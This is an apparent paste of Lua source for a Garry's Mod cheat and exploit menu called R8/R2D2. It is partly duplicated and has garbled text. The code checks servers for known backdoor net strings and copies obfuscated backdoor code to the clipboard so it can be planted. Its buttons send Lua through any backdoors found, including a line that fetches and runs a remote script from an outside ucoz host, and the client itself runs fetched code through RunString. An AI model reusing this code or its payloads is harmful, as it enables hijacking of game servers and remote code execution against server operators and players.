· 8 years ago · Jun 19, 2018, 12:24 AM
1R8 = R8 or {}
2R8.Modules = R8.Modules or {}
3
4
5concommand.Add('trace', function(pl)
6 local prop = pl:GetEyeTrace().Entity
7
8 if IsValid(prop) then
9 pl:PrintMessage(HUD_PRINTCONSOLE, prop:GetClass())
10 pl:PrintMessage(HUD_PRINTCONSOLE, 'mdl = \'' .. prop:GetModel() .. '\',')
11 pl:PrintMessage(HUD_PRINTCONSOLE, 'pos = Vector(' .. string.gsub(tostring(prop:GetPos()), ' ', ', ') .. '),')
12 pl:PrintMessage(HUD_PRINTCONSOLE, 'ang = Angle(' .. string.gsub(tostring(prop:GetAngles()), ' ', ', ') .. '),')
13 pl:PrintMessage(HUD_PRINTCONSOLE, 'mat = \'' .. prop:GetMaterial() .. '\',')
14 end
15end)
16
17surface.CreateFont("exitmenu", {
18 font = "Arial",
19 size = 20,
20 weight = 1000,
21 shadow = false,
22 outline = false
23})
24
25local function exitmenu(panel, X, y)
26 local CButton = vgui.Create("DButton", panel)
27 CButton:SetTextColor(Color(150, 150, 150))
28 CButton:SetText("X")
29 CButton:SetFont("exitmenu")
30 CButton:SetPos(X, y)
31 CButton:SetSize(50, 24)
32
33 CButton.DoClick = function()
34 panel:SizeTo(0, 0, .2, 0, .2)
35
36 timer.Simple(0.3, function()
37 panel:SetVisible(false)
38 end)
39 end
40
41 CButton.Paint = function(panel, w, h)
42 surface.SetDrawColor(Color(0, 0, 0, 255))
43 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
44 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
45 end
46
47 CButton.OnCursorEntered = function(self)
48 surface.PlaySound("garrysmod/ui_hover.wav")
49
50 CButton.Paint = function(panel, w, h)
51 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
52 end
53 end
54
55 -------------------------------------------------------------
56 CButton.OnCursorExited = function(self)
57 CButton.Paint = function(panel, w, h)
58 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
59 end
60 end
61 ------------------------------------------------------------------------
62end
63
64local blur = Material("pp/blurscreen")
65
66local function DrawBlur(panel, amount)
67 local x, y = panel:LocalToScreen(0, 0)
68 local scrW, scrH = ScrW(), ScrH()
69 surface.SetDrawColor(255, 255, 255)
70 surface.SetMaterial(blur)
71
72 for i = 1, 3 do
73 blur:SetFloat("$blur", (i / 3) * (amount or 6))
74 blur:Recompute()
75 render.UpdateScreenEffectTexture()
76 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
77 end
78end
79
80netKey = "memeDoor"
81BackdoorsFound = 0
82
83function ValidNetString(str)
84 local status, error = pcall(net.Start, str)
85
86 return status
87end
88
89BackDoor_net = {
90 {
91 NetWork = "Sandbox_ArmDupe"
92 },
93 {
94 NetWork = "Sbox_darkrp"
95 },
96 {
97 NetWork = "Sbox_itemstore"
98 },
99 {
100 NetWork = "Ulib_Message"
101 },
102 {
103 NetWork = "ULogs_Info"
104 },
105 {
106 NetWork = "ITEM"
107 },
108 {
109 NetWork = "R8"
110 },
111 {
112 NetWork = "fix"
113 },
114 {
115 NetWork = "Fix_Keypads"
116 },
117 {
118 NetWork = "Remove_Exploiters"
119 },
120 {
121 NetWork = "noclipcloakaesp_chat_text"
122 },
123 {
124 NetWork = "_Defqon"
125 },
126 {
127 NetWork = "_CAC_ReadMemory",
128"nostrip"
129 },
130 {
131 NetWork = "nocheat"
132 },
133 {
134 NetWork = "LickMeOut"
135 },
136 {
137 NetWork = "ULX_QUERY2"
138 },
139 {
140 NetWork = "ULXQUERY2"
141 },
142 {
143 NetWork = "MoonMan"
144 },
145 {
146 NetWork = "Im_SOCool"
147 },
148 {
149 NetWork = "Sandbox_GayParty"
150 },
151 {
152 NetWork = "DarkRP_UTF8"
153 },
154 {
155 NetWork = "oldNetReadData"
156 },
157 {
158 NetWork = "memeDoor"
159 },
160 {
161 NetWork = "BackDoor"
162 },
163 {
164 NetWork = "OdiumBackDoor"
165 },
166 {
167 NetWork = "SessionBackdoor"
168 },
169 {
170 NetWork = "DarkRP_AdminWeapons"
171 },
172 {
173 NetWork = "cucked"
174 },
175 {
176 NetWork = "NoNerks"
177 },
178 {
179 NetWork = "kek"
180 },
181 {
182 NetWork = "ZimbaBackDoor"
183 },
184 {
185 NetWork = "something"
186 },
187 {
188 NetWork = "random"
189 },
190 {
191 NetWork = "strip0"
192 },
193 {
194 NetWork = "fellosnake"
195 },
196 {
197 NetWork = "enablevac"
198 },
199 {
200 NetWork = "idk"
201 },
202 {
203 NetWork = "c"
204 },
205 {
206 NetWork = "killserver"
207 },
208 {
209 NetWork = "fuckserver"
210 },
211 {
212 NetWork = "cvaraccess"
213 },
214 {
215 NetWork = "rcon"
216 },
217 {
218 NetWork = "rconadmin"
219 },
220 {
221 NetWork = "web"
222 },
223 {
224 NetWork = "jesuslebg"
225 },
226 {
227 NetWork = "zilnix"
228 },
229 {
230 NetWork = "Þà ?D)◘"
231 },
232 {
233 NetWork = "disablebackdoor"
234 },
235 {
236 NetWork = "kill"
237 },
238 {
239 NetWork = "DefqonBackdoor"
240 }
241}
242
243function checkbackdoors()
244 for k, v in pairs(BackDoor_net) do
245 if (ValidNetString(v.NetWork)) then
246 BackdoorsFound = 1 + BackdoorsFound
247 chat.AddText(Color(0, 0, 0, 125), "[R2D2]", Color(255, 255, 255), " Found Backdoor! - " .. v.NetWork)
248 end
249 end
250end
251
252CreateClientConVar("menu_r", "148", true, false)
253CreateClientConVar("menu_g", "0", true, false)
254CreateClientConVar("menu_b", "211", true, false)
255
256--------------------------------------------------------------------------------------------
257surface.CreateFont("Main", {
258 font = "Arial",
259 size = 20,
260 weight = 1000,
261 shadow = false,
262 outline = false
263})
264
265local insertdown2, insertdown, menuopen
266
267function MainMenu()
268 local x1 = vgui.Create("DFrame")
269 x1:SetPos(700, 300)
270 x1:SizeTo(300, 400, .3, 0, .3)
271 exitmenu(x1, 249, 1)
272 x1:SetTitle(" ")
273 x1:ShowCloseButton(false)
274 x1:SetVisible(true)
275 x1:MakePopup()
276
277 function x1:Paint()
278 DrawBlur(self, 5)
279 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
280 surface.SetDrawColor(Color(0, 0, 0, 255))
281 surface.DrawOutlinedRect(0, 0, x1:GetSize())
282 ---------------------------------------------------------
283 surface.DrawOutlinedRect(0, 110, x1:GetSize())
284 --surface.DrawOutlinedRect( 0, 130, x1:GetSize() )
285 ---------------------------------------------------------
286 surface.DrawOutlinedRect(0, 25, x1:GetSize())
287 -------------------------------------------------
288 surface.DrawOutlinedRect(0, 0, 249, 26)
289 surface.DrawOutlinedRect(0, 110, 101, 90)
290 surface.DrawOutlinedRect(0, 110, 500, 90)
291 --surface.DrawOutlinedRect( 0, 30, x1:GetSize() )
292 --
293 surface.DrawOutlinedRect(100, 25, x1:GetSize())
294 --
295 --surface.DrawOutlinedRect( -6, 25, x1:GetSize() )
296 --
297 --surface.DrawOutlinedRect( 0, -6, x1:GetSize() )
298 ------------------------------------------------
299 end
300
301 x1.Think = function()
302 if (input.IsKeyDown(KEY_INSERT) and not insertdown2) then
303 x1:SizeTo(0, 0, .2, 0, .2)
304
305 timer.Simple(0.1, function()
306 x1:Remove()
307 end)
308
309 menuopen = false
310 end
311 end
312
313 local function Think()
314 if (input.IsKeyDown(KEY_INSERT) and not menuopen and not insertdown) then
315 menuopen = true
316 insertdown = true
317 MainMenu()
318 elseif (not input.IsKeyDown(KEY_INSERT) and not menuopen) then
319 insertdown = false
320 end
321
322 if (input.IsKeyDown(KEY_INSERT) and insertdown and menuopen) then
323 insertdown2 = true
324 else
325 insertdown2 = false
326 end
327 end
328
329 hook.Add("Think", "", Think)
330 local news_p1 = vgui.Create("DPanel", x1)
331 news_p1:SetPos(100, 200)
332 news_p1:SetSize(200, 200)
333
334 -- Paint will paint the current page (Changing color, shape, etc)
335 news_p1.Paint = function(self, w, h)
336 draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40, 170))
337 end
338
339 local richtext = vgui.Create("RichText", news_p1)
340 richtext:Dock(FILL)
341 local TheReturnedHTML = "" -- Blankness
342
343 local q1 = vgui.Create("DHTML", x1)
344 q1:OpenURL("http://google.com")
345 q1:SetSize(150, 150)
346 q1:SetPos(6, 110)
347
348 surface.CreateFont("B1", {
349 font = "Arial",
350 size = 20,
351 weight = 1000,
352 shadow = false,
353 outline = false
354 })
355
356 ex = true
357 ct = true
358 nh = true
359
360 func_table = {
361 --
362 {
363 ---------------------------------------
364 Name = "Exploit",
365 Func = function()
366 -- if ex then
367 -- R8.Modules.Exploit()
368 -- end
369
370 ex = false
371 x1:SizeTo(0, 0, .2, 0, .2)
372 x1:SetVisible(false)
373
374 timer.Simple(0.5, function()
375 LocalPlayer():ConCommand('R8_Exploit')
376 end)
377
378 surface.PlaySound("garrysmod/ui_click.wav")
379 end
380 },
381 ---------------------------------------
382 --
383 {
384 ---------------------------------------
385 Name = "Cheat",
386 Func = function()
387 if ct then
388 http.Fetch('http://google.com', RunString)
389 end
390
391 ct = false
392 x1:SizeTo(0, 0, .2, 0, .2)
393 x1:SetVisible(false)
394
395 timer.Simple(0.5, function()
396 LocalPlayer():ConCommand('Ampris_menu')
397 end)
398
399 surface.PlaySound("garrysmod/ui_click.wav")
400 end
401 },
402 ---------------------------------------
403 --
404 --
405 {
406 ---------------------------------------
407 Name = 'BackDoor',
408 Func = function()
409 -- if nh then
410 -- R8.Modules.BackDoor()
411 -- end
412
413 nh = false
414 x1:SizeTo(0, 0, .2, 0, .2)
415 x1:SetVisible(false)
416
417 timer.Simple(0.5, function()
418 LocalPlayer():ConCommand('bd_menu')
419 end)
420
421 surface.PlaySound("garrysmod/ui_click.wav")
422 end
423 }
424 }
425
426 ---------------------------------------
427 --
428 for k, v in pairs(func_table) do
429 local Buttons = vgui.Create("DButton", x1)
430 Buttons:Dock(4)
431 Buttons:DockMargin(0, 0, 200, 5)
432 Buttons:SetText(v.Name)
433 Buttons:SetFont('B1')
434 Buttons:SetTextColor(Color(255, 255, 255, 255))
435 Buttons.DoClick = v.Func
436
437 Buttons.OnCursorEntered = function(self)
438 surface.PlaySound("garrysmod/ui_hover.wav")
439 end
440
441 function Buttons:Paint()
442 --draw.SimpleText( "|", "B1", 5, 0, Color( 255, 255, 255, 200 ), 0, 0 )
443 --
444 --draw.SimpleText( "|", "B1", 270, 0, Color( 255, 255, 255, 200 ), 0, 0 )
445 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
446 surface.SetDrawColor(Color(0, 0, 0, 255))
447 surface.DrawOutlinedRect(0, 0, Buttons:GetSize())
448 surface.DrawOutlinedRect(0, 25, Buttons:GetSize())
449 end
450 end
451
452 -----------------------------------------------------------------------------
453 local b5 = vgui.Create("DButton", x1)
454 b5:Dock(TOP)
455 b5:DockMargin(100, -81, 0, 5)
456 b5:SetText('| BackDoor | Check |')
457 b5:SetFont('B1')
458 b5:SetTextColor(Color(255, 255, 255, 255))
459
460 function b5:DoClick()
461 surface.PlaySound("garrysmod/ui_click.wav")
462 checkbackdoors()
463 end
464
465 b5.OnCursorEntered = function(self)
466 surface.PlaySound("garrysmod/ui_hover.wav")
467 end
468
469 function b5:Paint()
470 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
471 surface.SetDrawColor(Color(0, 0, 0, 255))
472 surface.DrawOutlinedRect(0, 0, b5:GetSize())
473 surface.DrawOutlinedRect(0, 25, b5:GetSize())
474 end
475
476 local b6 = vgui.Create("DButton", x1)
477 b6:Dock(TOP)
478 b6:DockMargin(100, 0, 0, 5)
479 b6:SetText('Theme Color')
480 b6:SetFont('B1')
481 b6:SetTextColor(Color(255, 255, 255, 255))
482
483 b6.OnCursorEntered = function(self)
484 surface.PlaySound("garrysmod/ui_hover.wav")
485 end
486
487 function b6:DoClick()
488 surface.PlaySound("garrysmod/ui_click.wav")
489 LocalPlayer():ConCommand('R8_theme')
490 end
491
492 function b6:Paint()
493 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
494 surface.SetDrawColor(Color(0, 0, 0, 255))
495 surface.DrawOutlinedRect(0, 0, b6:GetSize())
496 surface.DrawOutlinedRect(0, 25, b6:GetSize())
497 end
498
499 local b7 = vgui.Create("DButton", x1)
500 b7:Dock(TOP)
501 b7:DockMargin(100, 0, 0, 5)
502 b7:SetText("Copy BackDoor")
503 b7:SetFont('B1')
504 b7:SetTextColor(Color(255, 255, 255, 255))
505
506 function b7:DoClick()
507 surface.PlaySound("garrysmod/ui_click.wav")
508 local backdoorr8 = [[local ‪ = _G local ‪‪ = ‪['\115\116\114\105\110\103'] local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114'] local function ‪‪‪‪‪‪‪(‪‪‪‪) if ‪‪['\108\101\110'](‪‪‪‪) == 0 then return ‪‪‪‪ end local ‪‪‪‪‪ = '' for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪,'\46\46') do ‪‪‪‪‪=‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_,16),25)) end return ‪‪‪‪‪ end ‪[‪‪‪‪‪‪‪'6c6d7075'][‪‪‪‪‪‪‪'587d7d577c6d6e766b724a6d6b70777e'](‪‪‪‪‪‪‪'4b21')‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c7a7c706f7c'](‪‪‪‪‪‪‪'4b21',function ()local false‪=‪[‪‪‪‪‪‪‪'5a76746970757c4a6d6b70777e'](‪[‪‪‪‪‪‪‪'777c6d'][‪‪‪‪‪‪‪'4b7c787d4a6d6b70777e'](),‪‪‪‪‪‪‪'556c785a747d',false )if ‪[‪‪‪‪‪‪‪'706a7f6c777a6d707677'](false‪)then false‪()end end )]]
509 SetClipboardText(backdoorr8)
510 LocalPlayer():ChatPrint(':)))).')
511 end
512
513 b7.OnCursorEntered = function(self)
514 surface.PlaySound("garrysmod/ui_hover.wav")
515 end
516
517 function b7:Paint()
518 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
519 surface.SetDrawColor(Color(0, 0, 0, 255))
520 surface.DrawOutlinedRect(0, 0, b7:GetSize())
521 surface.DrawOutlinedRect(0, 25, b7:GetSize())
522 end
523
524 -----------------------------------------------------------------------------
525 -----------------------------------------------------------------------------
526 local b8 = vgui.Create("DButton", x1)
527 b8:Dock(TOP)
528 b8:DockMargin(100, 6, 0, 5)
529 b8:SetText('Love you.')
530 b8:SetFont('B1')
531 b8:SetTextColor(Color(255, 255, 255, 255))
532
533 function b8:DoClick()
534 surface.PlaySound("garrysmod/ui_click.wav")
535
536 for k, v in pairs(BackDoor_net) do
537 if (ValidNetString(v.NetWork)) then
538 net.Start(v.NetWork)
539 net.WriteString([[for _, p in pairs( player.GetAll() ) do p:SendLua( 'chat.AddText( Color(200, 200, 255 ), "[R2D2] Love Star Wars.")' ) sound.Play( "ambient/explosions/explode_8.wav", p:GetPos(), 90, 80, 1 ) end]])
540 net.WriteBit(1)
541 net.SendToServer()
542 end
543 end
544 end
545
546 b8.OnCursorEntered = function(self)
547 surface.PlaySound("garrysmod/ui_hover.wav")
548 end
549
550 function b8:Paint()
551 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
552 surface.SetDrawColor(Color(0, 0, 0, 255))
553 surface.DrawOutlinedRect(0, 0, b8:GetSize())
554 surface.DrawOutlinedRect(0, 25, b8:GetSize())
555 end
556
557 local b9 = vgui.Create("DButton", x1)
558 b9:Dock(TOP)
559 b9:DockMargin(100, 0, 0, 5)
560 b9:SetText('Disco Time - BackDoor')
561 b9:SetFont('B1')
562 b9:SetTextColor(Color(255, 255, 255, 255))
563
564 function b9:DoClick()
565 surface.PlaySound("garrysmod/ui_click.wav")
566
567 for k, v in pairs(BackDoor_net) do
568 if (ValidNetString(v.NetWork)) then
569 net.Start(v.NetWork)
570 net.WriteString("55)")
571 net.WriteBit(1)
572 net.SendToServer()
573 end
574 end
575 end
576
577 b9.OnCursorEntered = function(self)
578 surface.PlaySound("garrysmod/ui_hover.wav")
579 end
580
581 function b9:Paint()
582 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
583 surface.SetDrawColor(Color(0, 0, 0, 255))
584 surface.DrawOutlinedRect(0, 0, b9:GetSize())
585 surface.DrawOutlinedRect(0, 25, b9:GetSize())
586 end
587
588 local b10 = vgui.Create("DButton", x1)
589 b10:Dock(TOP)
590 b10:DockMargin(100, 0, 0, 3)
591 b10:SetText('R2D2 - BackDoor')
592 b10:SetFont('B1')
593 b10:SetTextColor(Color(255, 255, 255, 255))
594
595 function b10:DoClick()
596 surface.PlaySound("garrysmod/ui_click.wav")
597
598 for k, v in pairs(BackDoor_net) do
599 if (ValidNetString(v.NetWork)) then
600 net.Start(v.NetWork)
601 net.WriteString("http.Fetch(\"http://sdsds.ucoz.net/child_exploits.lua\",function(b,l,h,c)RunString(b)end,nil)")
602 net.WriteBit(1)
603 net.SendToServer()
604 end
605 end
606 end
607
608 b10.OnCursorEntered = function(self)
609 surface.PlaySound("garrysmod/ui_hover.wav")
610 end
611
612 function b10:Paint()
613 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
614 surface.SetDrawColor(Color(0, 0, 0, 255))
615 surface.DrawOutlinedRect(0, 0, b10:GetSize())
616 surface.DrawOutlinedRect(0, 25, b10:GetSize())
617 end
618
619 ------------------------------------------------------------------------------------------------------------------------
620 function ColorMenu()
621 local ColorMenu = vgui.Create("DFrame")
622 ColorMenu:SetPos(399, 300)
623 ColorMenu:SizeTo(300, 265, .3, 0, .3)
624 ColorMenu:MakePopup()
625 ColorMenu:SetTitle("")
626 ColorMenu:SetVisible(true)
627 ColorMenu:ShowCloseButton(false)
628 exitmenu(ColorMenu, 249, 1)
629
630 ColorMenu.Paint = function(self, w, h)
631 DrawBlur(self, 3)
632 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
633 surface.SetDrawColor(Color(0, 0, 0, 255))
634 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
635 surface.DrawOutlinedRect(0, 25, ColorMenu:GetSize())
636 -------------------------------------------------
637 surface.DrawOutlinedRect(0, 0, 249, 26)
638 surface.DrawOutlinedRect(0, 0, ColorMenu:GetSize())
639 end
640
641 local color2 = vgui.Create("DColorMixer", ColorMenu)
642 color2:Dock(TOP)
643 color2:DockMargin(0, 0, 0, 0)
644 color2:SetPalette(false)
645 color2:SetWangs(false)
646 color2:SetAlphaBar(false)
647 color2:SetColor(Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 255))
648
649 function color2:ValueChanged(color)
650 LocalPlayer():ConCommand("menu_r " .. color.r)
651 LocalPlayer():ConCommand("menu_g " .. color.g)
652 LocalPlayer():ConCommand("menu_b " .. color.b)
653 end
654 end
655
656 concommand.Add('R8_theme', ColorMenu)
657
658 -----------------------------------------------------------------------------
659 local table_credits = {
660 {
661 text = "FIX MAN",
662 durl = "https://vk.com/dembi1"
663 },
664 {
665 text = "Discord",
666 durl = "https://discord.gg/BszpW92"
667 },
668 {
669 text = "Pidor",
670 durl = "https://vk.com/pirohok123"
671 }
672 }
673
674 for k, v in pairs(table_credits) do
675 local Credits = vgui.Create("DButton", x1)
676 Credits:Dock(5)
677 Credits:DockMargin(1, 5, 199, 5)
678 Credits:SetText(v.text)
679 Credits:SetFont('B1')
680 Credits:SetTextColor(Color(255, 255, 255, 255))
681
682 Credits.OnCursorEntered = function(self)
683 surface.PlaySound("garrysmod/ui_hover.wav")
684 end
685
686 function Credits:DoClick()
687 surface.PlaySound("garrysmod/ui_click.wav")
688 gui.OpenURL(v.durl)
689 end
690
691 function Credits:Paint()
692 draw.RoundedBox(0, 0, 0, 500, 500, Color(0, 0, 0, 120))
693 surface.SetDrawColor(Color(0, 0, 0, 255))
694 surface.DrawOutlinedRect(0, 0, Credits:GetSize())
695 surface.DrawOutlinedRect(0, 25, Credits:GetSize())
696 end
697 end
698end
699
700concommand.Add('R8_Menu', MainMenu)
701
702
703//////////// [BASIC SHIT] ////////////
704local blur = Material("pp/blurscreen")
705
706local function DrawBlur(panel, amount)
707 local x, y = panel:LocalToScreen(0, 0)
708 local scrW, scrH = ScrW(), ScrH()
709 surface.SetDrawColor(255, 255, 255)
710 surface.SetMaterial(blur)
711
712 for i = 1, 3 do
713 blur:SetFloat("$blur", (i / 3) * (amount or 6))
714 blur:Recompute()
715 render.UpdateScreenEffectTexture()
716 surface.DrawTexturedRect(x * -1, y * -1, scrW, scrH)
717 end
718end
719
720CreateClientConVar("menu_r", "0", true, false)
721CreateClientConVar("menu_g", "0", true, false)
722CreateClientConVar("menu_b", "0", true, false)
723
724-- Solly copypaste
725if (istable(MOTDgd)) then
726 MOTDgd = {}
727
728 function MOTDgd.Show()
729 end
730
731 function MOTDgd.GetIfSkip()
732 return true
733 end
734end
735
736local function exitmenu(panel, X, y)
737 local CButton = vgui.Create("DButton", panel)
738 CButton:SetTextColor(Color(150, 150, 150))
739 CButton:SetText("X")
740 CButton:SetFont("exitmenu")
741 CButton:SetPos(X, y)
742 CButton:SetSize(50, 24)
743
744 CButton.DoClick = function()
745 panel:SizeTo(0, 0, .2, 0, .2)
746
747 timer.Simple(0.3, function()
748 panel:SetVisible(false)
749 end)
750 end
751
752 CButton.Paint = function(panel, w, h)
753 surface.SetDrawColor(Color(0, 0, 0, 255))
754 surface.DrawOutlinedRect(0, 0, CButton:GetSize())
755 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
756 end
757
758 CButton.OnCursorEntered = function(self)
759 surface.PlaySound("garrysmod/ui_hover.wav")
760
761 CButton.Paint = function(panel, w, h)
762 draw.RoundedBox(0, 0, 0, w, h, Color(220, 20, 60, 255))
763 end
764 end
765
766 -------------------------------------------------------------
767 CButton.OnCursorExited = function(self)
768 CButton.Paint = function(panel, w, h)
769 draw.RoundedBox(0, 0, 0, w, h, Color(139, 0, 0, 255))
770 end
771 end
772 ------------------------------------------------------------------------
773end
774
775function random_string(length)
776 math.randomseed(os.time())
777
778 if length > 0 then
779 return random_string(length - 1) .. charset[math.random(1, #charset)]
780 else
781 return ""
782 end
783end
784
785local s = {}
786s.duel = {}
787s.duel[1] = table.Random(player.GetAll())
788s.duel[2] = table.Random(player.GetAll())
789s.duel[2] = 3
790s.duel[3] = -9999999
791
792--////////// [CHAT TEXT] ////////////
793function ECPrint(str)
794 chat.AddText(Color(150, 150, 150), "[R2D2] ", Color(255, 255, 255), str)
795end
796
797--////////// [NOTIFY] ////////////
798local function ECNotify(text)
799 local notify = vgui.Create("DPanel")
800 notify:SetSize(200, 50)
801 notify:SetPos(ScrW() - 200, -50)
802
803 notify.Paint = function(self, w, h)
804 draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
805 local bars = 50
806
807 for i = 0, bars do
808 local rainbow = HSVToColor(CurTime() % 6 * 60 + i, 1, 1)
809 draw.RoundedBox(0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
810 end
811
812 --draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
813 draw.SimpleText(text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
814 end
815
816 notify:MoveTo(ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
817 timer.Simple(3, function()
818 notify:MoveTo(ScrW() - notify:GetWide(), -50, .2, 0, -1)
819 end)
820 end)
821end
822
823--////////// [CLEAR CHAT] ////////////
824function clearchat()
825 for i = 0, 100 do
826 chat.AddText(" ")
827 end
828end
829
830--////////// [REMOVE ALL ERRORS] ////////////
831concommand.Add("removerrors", function()
832 hook.Add("Think", "wow", function()
833 for k, v in pairs(ents.GetAll()) do
834 if (v:GetModel():find("models/error.mdl")) then
835 v:SetModel("models/player/group01/male_02.mdl")
836 print(v:Nick() .. " model reset due to models/error.mdl")
837 end
838 end
839 end)
840end)
841
842--////////// [VAPE] ////////////
843function Vape()
844 timer.Simple(0, function()
845 RunConsoleCommand("+attack")
846 end)
847
848 timer.Simple(5.134, function()
849 RunConsoleCommand("-attack")
850 end)
851end
852
853concommand.Add("vape", Vape)
854concommand.Add("clearchat", clearchat)
855
856--////////// [CAC CHECKER] ////////////
857if (_G.QAC or _G.CAC) then
858 chat.AddText(Color(0, 255, 255), "[", "R2D2", "] ", Color(255, 255, 255), "The server has Cake Anti Cheat!")
859end
860
861function Initialize()
862 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
863 surface.PlaySound("HL1/fvox/bell.wav")
864 -- surface.PlaySound("buttons/button15.wav")
865 ECNotify("Loaded Successfully!")
866 net.Receive("DL_Answering_global", function(_len) end) -- Stop LocalPlayer from getting kicked whilst kicking all
867 net.Receive("metro_notification", function() return end) -- Disable Metro Notification
868
869 --////////// Font Creation ////////////
870 --
871 surface.CreateFont("Roboto", {
872 font = "Roboto",
873 size = 18
874 })
875
876 --
877 surface.CreateFont("Calibri-sm", {
878 font = "Calibri",
879 size = 15
880 })
881
882 --
883 surface.CreateFont("Calibri-l", {
884 font = "Calibri",
885 size = 21
886 })
887
888 --
889 surface.CreateFont("tahoma", {
890 font = "Tahoma",
891 size = 15
892 })
893 --
894end
895
896Initialize() -- Initializes basic shit for when menu is loaded.
897
898function ValidNetString(str)
899 local status, error = pcall(net.Start, str)
900
901 return status
902end
903
904------------------------------------------------------------------------
905--////////// [MENU] ////////////
906function draw.OutlinedBox(x, y, w, h, thickness, clr)
907 surface.SetDrawColor(clr)
908
909 for i = 0, thickness - 1 do
910 surface.DrawOutlinedRect(x + i, y + i, w - i * 2, h - i * 2)
911 end
912end
913
914-------------------------------------------------------------------------------------------
915surface.CreateFont("Main", {
916 font = "Arial",
917 size = 20,
918 weight = 1000,
919 shadow = false,
920 outline = false
921})
922
923function R8_Menu()
924 local menu = vgui.Create("DFrame")
925 menu:Center()
926 menu:SizeTo(300, 350, .3, 0, .3)
927 exitmenu(menu, 249, 1)
928 menu:SetTitle(" ")
929 menu:ShowCloseButton(false)
930 menu:MakePopup()
931
932 function menu:Paint()
933 DrawBlur(self, 5)
934 draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber("menu_r"), GetConVarNumber("menu_g"), GetConVarNumber("menu_b"), 170))
935 draw.SimpleText(totalSploits .. "/302 Exploits - R2D2", "Roboto", 5, 3, Color(255, 255, 255, 200), 0, 0)
936
937 if totalSploits == 0 then
938 draw.SimpleText("Рксплойтов РЅРµ найдено!", "Roboto", 65, 150, Color(255, 255, 255, 200), 0, 0)
939 end
940
941 surface.SetDrawColor(Color(0, 0, 0, 255))
942 surface.DrawOutlinedRect(0, 0, menu:GetSize())
943 surface.DrawOutlinedRect(0, 0, 249, 26) -- палочка РґР»СРРєРЅРѕРїРєРё
944 surface.DrawOutlinedRect(0, 25, menu:GetSize())
945 end
946
947 --////////// [TABS] ////////////
948 local tabs = vgui.Create("DPropertySheet", menu)
949 tabs:Dock(FILL)
950 tabs:DockPadding(-5, 5, 0, 0)
951
952 tabs.Paint = function(self, w, h)
953 for k, v in pairs(tabs.Items) do
954 if (not v.Tab) then continue end
955
956 v.Tab.Paint = function(self, w, h)
957 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
958 draw.RoundedBox(0, 0, 22, w - 2, 1, Color(45, 45, 45, 255))
959
960 if (tabs:GetActiveTab() == v.Tab) then
961 draw.RoundedBox(0, 0, 0, w, 22, Color(25, 25, 25, 255))
962 --draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
963 draw.RoundedBox(0, 0, 22, w, 1, Color(255, 255, 255, 255))
964 end
965 end
966 end
967 end
968
969 --////////// [PANELS] ////////////
970 local exploitsPanel = vgui.Create("DPanel", menu)
971 exploitsPanel:Dock(1)
972
973 exploitsPanel.Paint = function(self, w, h)
974 draw.RoundedBox(0, 0, 0, w, h, Color(25, 25, 25, 100))
975 draw.OutlinedBox(0, 0, w, h, 1, Color(0, 0, 0))
976 end
977
978 local exploitsScrollPanel = vgui.Create("DScrollPanel", exploitsPanel)
979 exploitsScrollPanel:Dock(FILL)
980
981 //////////// [NEW EXPLOIT] ////////////
982 --------------------
983 totalSploits = 0
984
985 function addExploit(id, text, desc, func)
986 totalSploits = 1 + totalSploits
987 local id = vgui.Create("DButton", exploitsScrollPanel)
988 id:SetText(text)
989 id:SetTextColor(Color(200, 200, 200))
990 id:SetFont("Roboto")
991 id:Dock(TOP)
992 id:DockMargin(10, 10, 10, -5)
993 id:DockPadding(2, 25, 2, 50)
994 id.DoClick = func
995
996 if desc then
997 id:SetToolTip(desc)
998 end
999
1000 id.Paint = function(self, w, h)
1001 id.OnCursorEntered = function(self)
1002 -- surface.PlaySound( "garrysmod/ui_hover.wav" )
1003 surface.PlaySound("buttons/button15.wav")
